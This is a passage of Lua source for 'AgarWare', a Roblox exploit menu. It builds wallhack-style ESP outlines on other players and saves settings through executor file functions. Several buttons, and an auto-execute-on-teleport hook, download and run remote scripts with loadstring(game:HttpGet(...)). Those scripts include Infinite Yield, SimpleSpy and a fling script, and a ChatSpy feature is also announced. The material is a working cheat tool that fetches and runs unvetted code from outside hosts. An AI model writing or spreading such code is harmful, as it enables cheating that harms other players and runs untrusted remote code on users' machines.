if not isEnabled or not espEnabled then
highlight.Enabled = false
return
end
local myChar = LocalPlayer.Character
local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart")
local targetChar = targetPlayer.Character
local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
if myHRP and targetHRP then
local maxDist = ESPGroup:GetAttribute("ESPMaxDist") or 1000
local dist = (myHRP.Position - targetHRP.Position).Magnitude
highlight.Enabled = dist <= maxDist
end
end)
highlight.Parent = char
ESPGuis[targetPlayer] = highlight
local humanoid = char:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.Died:Connect(function()
if ESPGuis[targetPlayer] then
ESPGuis[targetPlayer]:Destroy()
ESPGuis[targetPlayer] = nil
end
end)
end
end
local function removeOutline(targetPlayer)
if ESPGuis[targetPlayer] then
ESPGuis[targetPlayer]:Destroy()
ESPGuis[targetPlayer] = nil
end
end
local function enable()
isEnabled = true
ESPOutlineTickBox.BackgroundColor3 = getAccent()
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= LocalPlayer then
createOutline(plr)
plr.CharacterAdded:Connect(function()
task.wait(0.5)
if isEnabled then createOutline(plr) end
end)
end
end
end
local function disable()
isEnabled = false
ESPOutlineTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false
if not espEnabled then
for plr in pairs(ESPGuis) do
removeOutline(plr)
end
end
end
Players.PlayerAdded:Connect(function(plr)
if isEnabled and plr ~= LocalPlayer then
createOutline(plr)
plr.CharacterAdded:Connect(function()
task.wait(0.5)
if isEnabled then createOutline(plr) end
end)
end
end)
Players.PlayerRemoving:Connect(function(plr)
removeOutline(plr)
end)
ESPOutlineTickBox.MouseButton1Click:Connect(function()
if isEnabled then disable() else enable() end
end)
ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false
if not espEnabled then
for plr in pairs(ESPGuis) do
removeOutline(plr)
end
elseif isEnabled then
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= LocalPlayer then
if not ESPGuis[plr] then
createOutline(plr)
end
end
end
end
end)
ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function()
local espEnabled = ESPGroup:GetAttribute("ESPEnabled")
for plr, highlight in pairs(ESPGuis) do
if highlight and typeof(highlight) == "Instance" then
highlight.Enabled = espEnabled and isEnabled
end
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_92);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSScript
local function C_98()
local script = G2L["98"];
local ESPSGroup = script.Parent
local ESPSMinimize = ESPSGroup.ESPSTitle.ESPSMinimize
local function getRows()
local rows = {}
for _, child in ipairs(ESPSGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = ESPSGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
ESPSMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
ESPSGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
ESPSMinimize.Text = "+"
else
ESPSGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
ESPSMinimize.Text = "-"
end
end)
end;
task.spawn(C_98);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableScript
local function C_9e()
local script = G2L["9e"];
local ESPSGroup = script.Parent.Parent
local ESPSAccentColor = ESPSGroup.ESPSAccentColor
local ESPEnableTickBox = script.Parent:WaitForChild("ESPEnableTickBox")
local isEnabled = false
local function getAccent()
return ESPSAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = ESPSGroup
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "ESPEnableTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Enable or disable ESP"
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.AutomaticSize = Enum.AutomaticSize.Y
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
ESPEnableTickBox.MouseEnter:Connect(function()
local abs = ESPEnableTickBox.AbsolutePosition
local size = ESPEnableTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ESPEnableTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
ESPEnableTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
if isEnabled then
ESPEnableTickBox.BackgroundColor3 = getAccent()
else
ESPEnableTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
local visualPage = ESPSGroup.Parent.Parent
local espGroup = visualPage.VisualLeftSide:FindFirstChild("ESPGroup")
if espGroup then
espGroup:SetAttribute("ESPEnabled", isEnabled)
end
end)
ESPEnableTickBox.BackgroundColor3 = getAccent()
isEnabled = true
local visualPage = ESPSGroup.Parent.Parent
local espGroup = visualPage.VisualLeftSide:FindFirstChild("ESPGroup")
if espGroup then
espGroup:SetAttribute("ESPEnabled", true)
end
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_9e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserScript
local function C_a2()
local script = G2L["a2"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local ESPSGroup = script.Parent.Parent
local ESPSAccentColor = ESPSGroup:WaitForChild("ESPSAccentColor")
local ESPUserTickBox = script.Parent:WaitForChild("ESPUserTickBox")
local isEnabled = false
local function getAccent()
return ESPSAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = ESPSGroup
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = tooltipFrame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = tooltipFrame
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Shows display name instead of username on Name ESP"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
ESPUserTickBox.MouseEnter:Connect(function()
local abs = ESPUserTickBox.AbsolutePosition
local size = ESPUserTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ESPUserTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
ESPUserTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
if isEnabled then
ESPUserTickBox.BackgroundColor3 = getAccent()
else
ESPUserTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
ESPSGroup:SetAttribute("UseDisplayName", isEnabled)
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
isEnabled = false
ESPUserTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_a2);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsScript
local function C_a9()
local script = G2L["a9"];
local MainSettingsGroup = script.Parent
local MainSettingsMinimize = MainSettingsGroup.MainSettingsTitle.MainSettingsMinimize
local function getRows()
local rows = {}
for _, child in ipairs(MainSettingsGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = MainSettingsGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
MainSettingsMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
MainSettingsGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
MainSettingsMinimize.Text = "+"
else
MainSettingsGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
MainSettingsMinimize.Text = "-"
end
end)
end;
task.spawn(C_a9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTooltip
local function C_aa()
local script = G2L["aa"];
-- ============================================================
-- SAVE SCRIPTS TOOLTIP SCRIPT
-- ============================================================
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND SAVE SCRIPTS TICKBOX
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local SaveScriptsTickBox = findDescendant("SaveScriptsTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIP
-- ============================================================
local saveScriptsTooltip = makeTooltip(
"Automatically saves your enabled scripts and settings. When you rejoin, all your scripts will be re-enabled but wait about a few seconds for it to load fully."
)
-- ============================================================
-- HOOK IT
-- ============================================================
hookTooltip(SaveScriptsTickBox, saveScriptsTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
saveScriptsTooltip:Destroy()
end
end)
end;
task.spawn(C_aa);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsScript
local function C_b0()
local script = G2L["b0"];
-- SaveScriptsScript (Modified)
local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer
local CoreGui = game:GetService("CoreGui")
local AgarWareGui = CoreGui:WaitForChild("AgarWareGui")
local MainFrame = AgarWareGui:FindFirstChild("MainFrame", true)
local SaveScriptsTickBox = nil
for _, descendant in pairs(MainFrame:GetDescendants()) do
if descendant.Name == "SaveScriptsTickBox" and descendant:IsA("TextButton") then
SaveScriptsTickBox = descendant
break
end
end
if not SaveScriptsTickBox then
warn("[SaveScripts] Could not find SaveScriptsTickBox!")
return
end
-- Create BindableEvent for progress tracking
local LoadingProgress = Instance.new("BindableEvent")
LoadingProgress.Name = "SaveScriptsLoadingProgress"
LoadingProgress.Parent = AgarWareGui
local FILE_NAME = "universalscript_save.txt"
local saveEnabled = false
local isApplyingLoad = false
local hasLoadedOnce = false
local function readFile()
local success, result = pcall(function()
return readfile(FILE_NAME)
end)
if success and result and result ~= "" then return result end
return nil
end
local function writeFile(content)
pcall(function()
writefile(FILE_NAME, content)
end)
end
local function loadSave()
local data = readFile()
if not data then return nil end
local decoded = {}
for line in data:gmatch("[^\n]+") do
local key, value = line:match("(.-)=(.+)")
if key and value then
decoded[key] = value
end
end
if decoded["saveEnabled"] ~= "true" then return nil end
return next(decoded) and decoded or nil
end
local function isTickBox(child)
if not child:IsA("TextButton") then return false end
if not child.Name:match("TickBox$") then return false end
return true
end
local function isChanger(child)
if not child:IsA("TextBox") then return false end
if not child.Name:match("Changer$") then return false end
return true
end
local function isTickBoxEnabled(tickBox)
local color = tickBox.BackgroundColor3
return color.R == 0 and math.abs(color.G - 123/255) < 0.01 and color.B == 1
end
local function saveData()
if not saveEnabled then return end
if not MainFrame or not MainFrame.Parent then return end
local lines = {}
table.insert(lines, "saveEnabled=true")
local pos = MainFrame.Position
table.insert(lines, "posXScale=" .. pos.X.Scale)
table.insert(lines, "posXOffset=" .. pos.X.Offset)
table.insert(lines, "posYScale=" .. pos.Y.Scale)
table.insert(lines, "posYOffset=" .. pos.Y.Offset)
local ContentArea = MainFrame:FindFirstChild("ContentArea")
if not ContentArea then return end
for _, page in pairs(ContentArea:GetChildren()) do
if page:IsA("ScrollingFrame") then
for _, side in pairs(page:GetChildren()) do
if side:IsA("Frame") then
for _, group in pairs(side:GetChildren()) do
if group:IsA("Frame") then
for _, row in pairs(group:GetChildren()) do
if row:IsA("Frame") then
for _, child in pairs(row:GetChildren()) do
if isTickBox(child) then
local enabled = isTickBoxEnabled(child)
table.insert(lines, row.Name .. "_" .. child.Name .. "=" .. tostring(enabled))
end
if isChanger(child) then
if child.Text ~= "" and child.Text ~= child.PlaceholderText then
table.insert(lines, row.Name .. "_" .. child.Name .. "_text=" .. child.Text)
end
end
end
end
end
end
end
end
end
end
end
writeFile(table.concat(lines, "\n"))
end
local function applyLoad(data)
if not data or isApplyingLoad then return end
if not MainFrame or not MainFrame.Parent then return end
isApplyingLoad = true
MainFrame:SetAttribute("IsLoading", true)
local wasDraggable = MainFrame.Draggable
MainFrame.Draggable = false
local xScale = tonumber(data["posXScale"])
local xOffset = tonumber(data["posXOffset"])
local yScale = tonumber(data["posYScale"])
local yOffset = tonumber(data["posYOffset"])
if xScale and xOffset and yScale and yOffset then
MainFrame.Position = UDim2.new(xScale, xOffset, yScale, yOffset)
end
task.wait(0.01)
local ContentArea = MainFrame:FindFirstChild("ContentArea")
if not ContentArea then
isApplyingLoad = false
MainFrame:SetAttribute("IsLoading", false)
MainFrame.Draggable = wasDraggable
LoadingProgress:Fire(100.0)
return
end
-- Count total items to load
local totalItems = 0
local loadedItems = 0
for _, page in pairs(ContentArea:GetChildren()) do
if page:IsA("ScrollingFrame") then
for _, side in pairs(page:GetChildren()) do
if side:IsA("Frame") then
for _, group in pairs(side:GetChildren()) do
if group:IsA("Frame") then
for _, row in pairs(group:GetChildren()) do
if row:IsA("Frame") then
for _, child in pairs(row:GetChildren()) do
if isTickBox(child) or isChanger(child) then
totalItems = totalItems + 1
end
end
end
end
end
end
end
end
end
end
LoadingProgress:Fire(0.0)
-- First: Load TextBox values AND trigger FocusLost
for _, page in pairs(ContentArea:GetChildren()) do
if page:IsA("ScrollingFrame") then
for _, side in pairs(page:GetChildren()) do
if side:IsA("Frame") then
for _, group in pairs(side:GetChildren()) do
if group:IsA("Frame") then
for _, row in pairs(group:GetChildren()) do
if row:IsA("Frame") then
for _, child in pairs(row:GetChildren()) do
if isChanger(child) then
local savedText = data[row.Name .. "_" .. child.Name .. "_text"]
if savedText then
child.Text = savedText
task.wait(0.02)
pcall(function()
firesignal(child.FocusLost, false)
end)
end
-- Fire progress for EVERY item, not just ones with saved data
loadedItems = loadedItems + 1
local progress = (loadedItems / totalItems) * 100
LoadingProgress:Fire(progress)
end
end
end
end
end
end
end
end
end
end
task.wait(0.01)
-- Second: Click TickBoxes
for _, page in pairs(ContentArea:GetChildren()) do
if not MainFrame or not MainFrame.Parent then break end
if page:IsA("ScrollingFrame") then
for _, side in pairs(page:GetChildren()) do
if not MainFrame or not MainFrame.Parent then break end
if side:IsA("Frame") then
for _, group in pairs(side:GetChildren()) do
if not MainFrame or not MainFrame.Parent then break end
if group:IsA("Frame") then
for _, row in pairs(group:GetChildren()) do
if not MainFrame or not MainFrame.Parent then break end
if row:IsA("Frame") then
for _, child in pairs(row:GetChildren()) do
if not MainFrame or not MainFrame.Parent then break end
if isTickBox(child) then
local savedValue = data[row.Name .. "_" .. child.Name]
if savedValue then
local shouldBeEnabled = savedValue == "true"
local currentlyEnabled = isTickBoxEnabled(child)
if shouldBeEnabled and not currentlyEnabled then
pcall(function()
firesignal(child.MouseButton1Click)
end)
task.wait(0.02)
end
end
-- Fire progress for EVERY tickbox
loadedItems = loadedItems + 1
local progress = (loadedItems / totalItems) * 100
LoadingProgress:Fire(progress)
end
end
end
end
end
end
end
end
end
end
task.wait(1)
LoadingProgress:Fire(100.0)
isApplyingLoad = false
if MainFrame and MainFrame.Parent then
MainFrame:SetAttribute("IsLoading", false)
MainFrame.Draggable = wasDraggable
end
hasLoadedOnce = true
end
task.spawn(function()
while true do
task.wait(2)
if saveEnabled and MainFrame and MainFrame.Parent and hasLoadedOnce then
saveData()
end
end
end)
SaveScriptsTickBox.MouseButton1Click:Connect(function()
saveEnabled = not saveEnabled
if saveEnabled then
SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
saveData()
else
saveEnabled = false
SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
writeFile("saveEnabled=false")
end
end)
task.spawn(function()
task.wait(0.03)
if not MainFrame or not MainFrame.Parent then return end
local data = loadSave()
if not data then return end
saveEnabled = true
SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
applyLoad(data)
end)
end;
task.spawn(C_b0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteScript
local function C_b4()
local script = G2L["b4"];
-- AutoExecuteScript
local AutoExecuteTickBox = script.Parent.AutoExecuteTickBox
local MainSettingsGroup = script.Parent.Parent
local MainSettingsAccentColor = MainSettingsGroup.MainSettingsAccentColor
local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/Open-Source-Scripts/refs/heads/main/AGARWARE.lua"
local isEnabled = false
AutoExecuteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
-- ============================================================
-- TOOLTIP
-- ============================================================
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Automatically executes this script when you server hop."
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
AutoExecuteTickBox.MouseEnter:Connect(function()
local abs = AutoExecuteTickBox.AbsolutePosition
local size = AutoExecuteTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
AutoExecuteTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- ============================================================
-- QUEUE ON TELEPORT
-- ============================================================
local function setupQueueOnTeleport()
local queueFn = queue_on_teleport or (syn and syn.queue_on_teleport) or (fluxus and fluxus.queue_on_teleport)
if queueFn then
queueFn([[
loadstring(game:HttpGet("https://raw.githubusercontent.com/agarv69/Open-Source-Scripts/refs/heads/main/AGARWARE.lua"))()
]])
end
end
-- ============================================================
-- ENABLE / DISABLE
-- ============================================================
local function enable()
isEnabled = true
AutoExecuteTickBox.BackgroundColor3 = MainSettingsAccentColor.BackgroundColor3
setupQueueOnTeleport()
end
local function disable()
isEnabled = false
AutoExecuteTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
-- ============================================================
-- TICKBOX TOGGLE
-- ============================================================
AutoExecuteTickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_b4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsScript
local function C_ba()
local script = G2L["ba"];
local ExploitsGroup = script.Parent
local ExploitsMinimize = ExploitsGroup.ExploitsTitle.ExploitsMinimize
local function getRows()
local rows = {}
for _, child in ipairs(ExploitsGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = ExploitsGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
ExploitsMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
ExploitsGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
ExploitsMinimize.Text = "+"
else
ExploitsGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
ExploitsMinimize.Text = "-"
end
end)
end;
task.spawn(C_ba);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYScript
local function C_c0()
local script = G2L["c0"];
local IYRow = script.Parent
local IYButton = IYRow.IYButton
local originalText = IYButton.Text
local SCRIPT_URL = "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"
IYButton.MouseButton1Click:Connect(function()
IYButton.Text = "LOADING..."
task.spawn(function()
local success, err = pcall(function()
local code = game:HttpGet(SCRIPT_URL)
loadstring(code)()
end)
if success then
IYButton.Text = "SUCCESSFULLY EXECUTED"
task.wait(3)
IYButton.Text = originalText
else
IYButton.Text = "FAILED TO EXECUTE"
task.wait(3)
IYButton.Text = originalText
end
end)
end)
end;
task.spawn(C_c0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSScript
local function C_c3()
local script = G2L["c3"];
local SSRow = script.Parent
local SSButton = SSRow.SSButton
local originalText = SSButton.Text
local SCRIPT_URL = "https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"
SSButton.MouseButton1Click:Connect(function()
SSButton.Text = "LOADING..."
task.spawn(function()
local success, err = pcall(function()
local code = game:HttpGet(SCRIPT_URL)
loadstring(code)()
end)
if success then
SSButton.Text = "SUCCESSFULLY EXECUTED"
task.wait(3)
SSButton.Text = originalText
else
SSButton.Text = "FAILED TO EXECUTE"
task.wait(3)
SSButton.Text = originalText
end
end)
end)
end;
task.spawn(C_c3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptScript
local function C_c6()
local script = G2L["c6"];
local FlingScriptRow = script.Parent
local FlingScriptButton = FlingScriptRow.FlingScriptButton
local originalText = FlingScriptButton.Text
local SCRIPT_URL = "https://rawscripts.net/raw/Universal-Script-Fling-gui-42897"
FlingScriptButton.MouseButton1Click:Connect(function()
FlingScriptButton.Text = "LOADING..."
task.spawn(function()
local success, err = pcall(function()
local code = game:HttpGet(SCRIPT_URL)
loadstring(code)()
end)
if success then
FlingScriptButton.Text = "SUCCESSFULLY EXECUTED"
task.wait(3)
FlingScriptButton.Text = originalText
else
FlingScriptButton.Text = "FAILED TO EXECUTE"
task.wait(3)
FlingScriptButton.Text = originalText
end
end)
end)
end;
task.spawn(C_c6);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainScript
local function C_cc()
local script = G2L["cc"];
-- ============================================================
-- MAIN GROUP MASTER SCRIPT
-- Place this script directly under MainGroup
-- Handles: Minimize, Auto Drop on Death, Auto Pickup, Anti Enlighten Drop, ChatSpy
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TextChatService = game:GetService("TextChatService")
local LocalPlayer = Players.LocalPlayer
local MainGroup = script.Parent
local MainMinimize = MainGroup.MainTitle.MainMinimize
local MainAccentColor = MainGroup:FindFirstChild("MainAccentColor")
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = MainGroup
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text, parent)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
if parent then
parent.MouseEnter:Connect(function()
local abs = parent.AbsolutePosition
local size = parent.AbsoluteSize
frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
frame.Visible = true
end)
parent.MouseLeave:Connect(function()
frame.Visible = false
end)
end
return frame
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(MainGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = MainGroup.Size
